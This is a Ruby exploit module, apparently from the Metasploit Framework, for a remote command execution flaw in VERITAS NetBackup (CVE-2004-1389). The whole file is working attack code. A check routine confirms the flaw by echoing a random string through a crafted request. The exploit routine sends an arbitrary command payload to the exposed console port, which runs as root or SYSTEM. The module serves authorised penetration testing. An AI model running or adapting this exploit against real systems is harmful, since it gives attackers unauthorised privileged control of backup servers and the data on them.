## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'VERITAS NetBackup Remote Command Execution', 'Description' => %q{ This module allows arbitrary command execution on an ephemeral port opened by Veritas NetBackup, whilst an administrator is authenticated. The port is opened and allows direct console access as root or SYSTEM from any source address. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2004-1389' ], [ 'OSVDB', '11026' ], [ 'BID', '11494' ], [ 'URL', 'http://seer.support.veritas.com/docs/271727.htm' ], ], 'Privileged' => true, 'Platform' => ['unix', 'win', 'linux'], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 1024, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ ['Automatic', { }], ], 'DisclosureDate' => 'Oct 21 2004', 'DefaultTarget' => 0)) end def check connect sploit = rand_text_alphanumeric(10) buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n" sock.put(buf) banner = sock.get(3,3) disconnect if (banner and banner =~ /#{sploit}/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect sploit = payload.encoded.split(" ") buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n" buf << payload.encoded buf << "\n" sock.put(buf) res = sock.get(-1,3) print_status("#{res}") handler disconnect end end